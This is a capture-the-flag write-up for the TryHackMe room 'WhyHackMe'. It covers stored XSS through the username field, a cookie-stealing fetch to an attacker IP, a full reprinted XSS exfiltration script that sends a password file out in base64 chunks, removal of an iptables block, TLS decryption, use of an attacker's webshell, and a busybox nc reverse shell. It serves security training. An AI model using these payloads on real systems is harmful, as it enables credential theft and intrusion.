WhyHackMe

Dive into the depths of security and analysis with WhyHackMe. - by suds4131

The following post by 0xb0b is licensed under CC BY 4.0

Recon

We start with a nmap scan and discover three open ports. 21, 22 and 80. The corresponding services also run on these standard ports. We can log on to port 21 of the FTP with the user anonymous.

On the FTP, we find the file update.txt. This reports that the user mike had to be deleted due to a compromise. The credentials for the new user can be retrieved under /dir/pass.txt for all authorized users accessing via localhost. Interesting. That will be useful for later.

While we have Gobuster running, we enumerate the endpoint 80 manually. We are greeted with a link to a blog page, /blog.php. All clear. We are dealing with PHP here. Let's update the Gobuster scan with -x php.

On the blog page, we find a comment section, which is only available for logged-in users. There is a link to the login page /login.php. Furthermore, there is a comment from the user admin, who points out that he checks every single post. I see.

The login page itself does not seem to be vulnerable, no users are leaked, and a brute force for the admin seems hopeless.

In the finished Gobuster scan, we see that the registration.php page is also available. Great, so we don't need to compromise an account, we simply create one. Also, there is an interesting directory, ⁣/dir, which we already have information on from the update.txt file.

Let's start with an example user first.

Now let's anticipate something. We see a comment field in which we can submit comments. The first thought was stored XSS. A lot has been tried here, including the Unicode Normalization Bypass, but nothing has worked.

All <,> were encoded as HTML entities.

Foothold

Until, after far too long, I noticed that the username also appeared in the comments and that it might also be vulnerable. Said and done, we create the user <script>alert(1);</script>.

After registration, we log in with the user, visit /blog.php, and write any comment. Immediately after submitting, we see that we had been successful here.

But what can we do with it? The idea came immediately, I had to think directly of the Challenge Bandit https://0xb0b.gitbook.io/writeups/tryhackme/2023/bandit. In order not to spoil anything, I won't tell you what had to be done in Bandit. It's definitely different from this challenge.

We remember the update.txt from the FTP, the call to /dir/pass.txt must be made from localhost. Mmh, why not let the user call /dir/pass.txt via XSS and then exfiltrate the information? But first we have to check our assumption to see whether the user is actually calling the page.

Before we log out, we delete our comments so that there is no confusion with the XSS.

We set up a Python web server on port 9000 via python -m http.server 9000 and create a user with the following username:

<script>fetch("http://10.8.211.1:9000",{method: "POST", body: document.cookie});</script>

After we have created our user, logged in and called /blog.php, we start Burp Suite to intercept our comment so that the XSS is not rendered in our browser.

We send our comment via Burpsuite as the "fetch" user and see a short time later that the target machine is accessing our web server. Nice. We cannot identify a cookie as the server does not support POST, but even after checking via nc, none can be found. But we know our target is on the page. So we can get to /dir/pass.txt.

Again, we delete our comments before logging out. We make it easy for ourselves and use an existing JavaScript to exfiltrate data:

The following link explains in detail what happens here:

In the script itself, we only need to add our endpoint to lines 68 and 80 and the resource to be exfiltrated to line 33. A request is sent via xhr to the resource set, and the content is chunked via Image() requested to our web server in the base64.

By including the script, the function stealData(); is called at the end, which then executes the whole thing.

exfil.js
// TrustedSec Proof-of-Concept to steal 
// sensitive data through XSS payload


function read_body(xhr) 
{ 
	var data;

	if (!xhr.responseType || xhr.responseType === "text") 
	{
		data = xhr.responseText;
	} 
	else if (xhr.responseType === "document") 
	{
		data = xhr.responseXML;
	} 
	else if (xhr.responseType === "json") 
	{
		data = xhr.responseJSON;
	} 
	else 
	{
		data = xhr.response;
	}
	return data; 
}




function stealData()
{
	var uri = "/dir/pass.txt";

	xhr = new XMLHttpRequest();
	xhr.open("GET", uri, true);
	xhr.send(null);

	xhr.onreadystatechange = function()
	{
		if (xhr.readyState == XMLHttpRequest.DONE)
		{
			// We have the response back with the data
			var dataResponse = read_body(xhr);


			// Time to exfiltrate the HTML response with the data
			var exfilChunkSize = 2000;
			var exfilData      = btoa(dataResponse);
			var numFullChunks  = ((exfilData.length / exfilChunkSize) | 0);
			var remainderBits  = exfilData.length % exfilChunkSize;

			// Exfil the yummies
			for (i = 0; i < numFullChunks; i++)
			{
				console.log("Loop is: " + i);

				var exfilChunk = exfilData.slice(exfilChunkSize *i, exfilChunkSize * (i+1));

				// Let's use an external image load to get our data out
				// The file name we request will be the data we're exfiltrating
				var downloadImage = new Image();
				downloadImage.onload = function()
				{
					image.src = this.src;
				};

				// Try to async load the image, whose name is the string of data
				downloadImage.src = "http://10.8.211.1:9000/exfil/" + i + "/" + exfilChunk + ".jpg";
			}

			// Now grab that last bit
			var exfilChunk = exfilData.slice(exfilChunkSize * numFullChunks, (exfilChunkSize * numFullChunks) + remainderBits);
			var downloadImage = new Image();
			downloadImage.onload = function()
			{
    			image.src = this.src;   
			};

			downloadImage.src = "http://10.8.211.1:9000/exfil/" + "LAST" + "/" + exfilChunk + ".jpg";
			console.log("Done exfiling chunks..");
		}
	}
}



stealData();

This payload is a bit simpler due to the script, we only integrate our exfiltration script via our web server.

<script src=http://10.8.211.1:9000/exfil.js></script>

We create said user, log in, go to /blog.php, and post a comment, which we intercept in BurpSuite.

We send the request via BurpSuite and a short time later we see the content of /dir/pass.txt on our web server base64 encoded.

We only have to decode the base64 content and get the credentials from jack using CyberChef.

Next, we try to log on to the machine with jack via SSH, and it works. Nice. In the home directory of jack we find the first flag.

Privilege Escalation

During the initial enumeration, we notice that we can use iptables as user jack with sudo authorizations. Interesting, as there is nothing about this in GTFOBins to escalate privileges. We may have to open a port for a service we don't know about yet in order to move forward.

In the /opt directory, we find a pcap file and an urgent note. This mentions the security incident, which has not yet been fully resolved and has only been mitigated for the time being with a workaround of blocking a specific port. The network traffic was recorded, with the help of which the problem should be solved.

It is also noted that since the hack, there are files in /usr/lib/cgi-bin that cannot be deleted via root. Probably the persistence of the attacker.

Looking at /usr/lib we see that we cannot access cgi-bin and the group is assigned to h4ck3d. This is probably why root cannot delete it.

So let's take a look at what has been blocked by the admin using iptables. It is port 41312. Ok.

sudo /usr/sbin/iptables -L --line-numbers

To get the note and the pcap file, we use a Python web server, but we could also use SCP.

We look at the network recording and cannot recognize anything, we have TLS traffic here, and everything is encrypted. Too bad. We only see port 41312 again, which confirms that this is the malicious port.

Ok, let's open port 41312, delete the administrator's rule as a precaution, and see what happens on the port.

sudo /usr/sbin/iptables -L --line-numbers

sudo /usr/sbin/iptables -D INPUT

sudo /usr/sbin/iptables -I INPUT -p tcp --dport 41312 -j ACCEPT

First of all, we can use Nmap to confirm that the port is open and see that an Apache web server is behind running.

We are told to use HTTPS when accessing the page.

OK, but little success here either. We have no access to the page. Gobuster doesn't give us any useful results either, nor does Nikto. We have to take a closer look at the Wireshark recording.

Here is a hint for decrypting the Wireshark traffic. Either a series of session keys or the private key from the certificate is required.

And a lot of time passed before I realized that the attacker was using Apache, which is also used by the blog. So all we had to do was to check where the key was located. To confirm this, the 000-default.conf can be examined. The search for the key is not really necessary from here on, as this can be taken directly from the config, but was the first attempt.

And fortunately, we also have access to this. So start the web server in /etc/apache2 again or use SCP and download the key.

The key must now be integrated into Wireshark as follows:

Edit->Preferences->TLS-> RSA keys list Edit...

Then we can filter by http and see the URI for a webshell, finally.

We can access it and execute the command id.

https://whyhackme.thm:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id

The next step is to check whether busybox is available, which was previously forgotten.

https://whyhackme.thm:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id

We set up a listener and start a reverse shell via busybox. The reverse shell connects, we are user www-data, and we upgrade the shell. But that wasn't an upgrade to root, was it? Don't be fooled, enumerate first.

https://boring.box:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=busybox nc 10.8.211.1 4445 -e bash

We see via sudo -l that we can execute everything as sudo. No sooner said than done, we switch to root using su, go to root's home directory, and find the final flag there.

Don't miss out on the unintended path to access the root flag through the Chrome Remote Debugging Port discovered by 0day and jaxafed.

Check out jaxafed's writeup:

Last updated